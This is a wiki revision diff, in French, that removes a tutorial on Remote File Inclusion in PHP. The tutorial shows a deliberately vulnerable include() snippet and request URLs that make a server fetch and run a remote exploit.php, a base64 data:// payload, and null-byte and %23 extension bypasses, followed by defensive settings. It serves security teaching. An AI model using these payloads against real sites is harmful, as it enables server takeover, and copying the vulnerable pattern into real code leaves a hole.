Outils pour utilisateurs

Outils du site


web:injection_rfi

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

web:injection_rfi [2016/03/11 10:32]
arkinar créée
web:injection_rfi [2016/07/04 08:38]
Ligne 1: Ligne 1:
-** Remote File Inclusion : RFI ** 
  
-** 1.Presentation ** 
- 
-Explication de la faille + fonctionnement du logiciel 
- 
- 
-Le RFI est une faille permettant à un attaquant d'​inclure un fichier distant. Cette vulnérabilité est basé 
-sur des fonctions tels que include ou encore require (pour le php). 
-D'​autres langages comme le Javascript et l'ASP sont aussi impactés. 
- 
-Les conséquences sont multiples tels que : 
- 
-    - L'​exécution de code sur le serveur web 
-    - L'​exécution de code sur le côté client comme le JavaScript qui peut conduire à d'​autres attaques comme Cross-site scripting (XSS) 
-    - Déni de service (DoS) 
-    - Le vol de données / Manipulation 
- 
-Ces types d’attaques sont de moins en moins présentes dans les applications qui sont basées majoritairement sur des framework robustes. ​ 
-Mais ces vulnérabilités existent bel et bien, il est donc intéressant de connaître des méthodes d’attaques pour en mesurer la gravité. 
- 
-Un exemple de code vulnérable : 
- 
-<​code>​ 
-<?php 
-$incfile = $_GET["​file"​];​ 
-include($incfile."​.php"​);​ 
-?> 
-</​code>​ 
- 
-Dans cette exemple le nom du fichier est extrait depuis la requete HTTP et aucunes validations ne lui est appliquées. 
- 
-La détection de cette faille est relativement simple car si on inclus un fichier inexistant on se retrouve avec une erreur du style : 
- 
-<​code>​ 
- 
-Warning: include(test.php):​ failed to open stream: No such file or directory in /​test/​index.php on line 18  
-Warning: include(): Failed opening '​test.php'​ for inclusion (include_path='​.:/​usr/​share/​php:/​usr/​share/​pear'​) in /​test/​index.php on line 18  
- 
-</​code>​ 
-**2.Exploitation** 
- 
- 
-Le but de l'​exploitation est d'​inclure un fichier distant sur le serveur. 
- 
-__2.1 Méthode 1 : RFI basique__ 
- 
-On passe en paramètre une url pointant vers un script externe :  
- 
-[[http://​localhost/​rfi.php?​page=http://​wikisecu.fr/​exploit.php]] 
- 
-Ce script sera récupéré par l’application et exécuté puis rendu dans la page résultante. 
- 
- 
- 
-__2.2 Méthode 2 : DATA URI__ 
- 
-Nous allons utiliser le wrapper PHP DATA pour executer du code php. 
- 
-Tout d'​abord nous allons encoder notre script en base64 
- 
-Soit grâce à un commande bash : 
-<​code>​ 
-echo -n "<?​php echo '​vulnerable';​ ?>" | base64 ​ 
- 
-PD9waHAgZWNobyAndnVsbmVyYWJsZSc7ID8+ 
-</​code>​ 
- 
-Soit grâce au site : [[https://​www.base64encode.org/​|Base64Encode]] 
- 
-Pour l'​exploitation : 
- 
-[[http://​localhost/​rfi.php?​page=data://​text/​plain;​base64,​notre_script_encodé_en_base64]] 
- 
-On obtiens : 
- 
-[[http://​localhost/​rfi.php?​page=data://​text/​plain;​base64,​PD9waHAgZWNobyAndnVsbmVyYWJsZSc7ID8+]] 
- 
-Cela aura pour effet d'​afficher "​vulnérable"​ sur le site. 
-Je vous laisse imaginer des scripts plus poussé pour effectuer tel ou tel actions. 
- 
- 
-__2.3 Méthode 3 : Bypass d'​extensions auto ajoutées__ 
- 
-Il se peut que lorsque que vous essayer d'​inclure un script distant le site ajoute automatiquement une extention (.php / .text /.js ...) 
- 
-Il y'a deux façon pour éviter cela : 
- 
-Première solution : Le null byte (CF  faille LFI) 
-  
- 
-[[http://​localhost/​rfi.php?​page=http://​wikisecu.fr/​exploit.php%00]] 
- 
-Seconde solution (fonctionne uniquement sur certain site) : Le caractère # 
- 
-Le caractère # une fois encodé donne %23 
- 
- 
-[[http://​localhost/​rfi.php?​page=http://​wikisecu.fr/​exploit.php%23]] 
- 
- 
- 
-**3.Comment se protéger** 
- 
-Il est possible de désactiver le support en passant la valeur des directives “allow_url_open” et “allow_url_include” à “Off”. 
- 
-Vous pouvez bloquer l’utilisation des wrappers en installant l’extension Suhosin pour PHP (sauf si “allow_url_include” = “On”). 
- 
-Source : 
- 
-[[http://​blog.clever-age.com/​fr/​2014/​10/​21/​owasp-local-remote-file-inclusion-lfi-rfi/​]] 
- 
-[[https://​www.owasp.org/​index.php/​Testing_for_Remote_File_Inclusion|OWASP]] 
- 
-[[https://​fr.wikipedia.org/​wiki/​Remote_File_Inclusion|Wikipedia]] 
web/injection_rfi.txt · Dernière modification: 2016/07/04 08:38 (modification externe)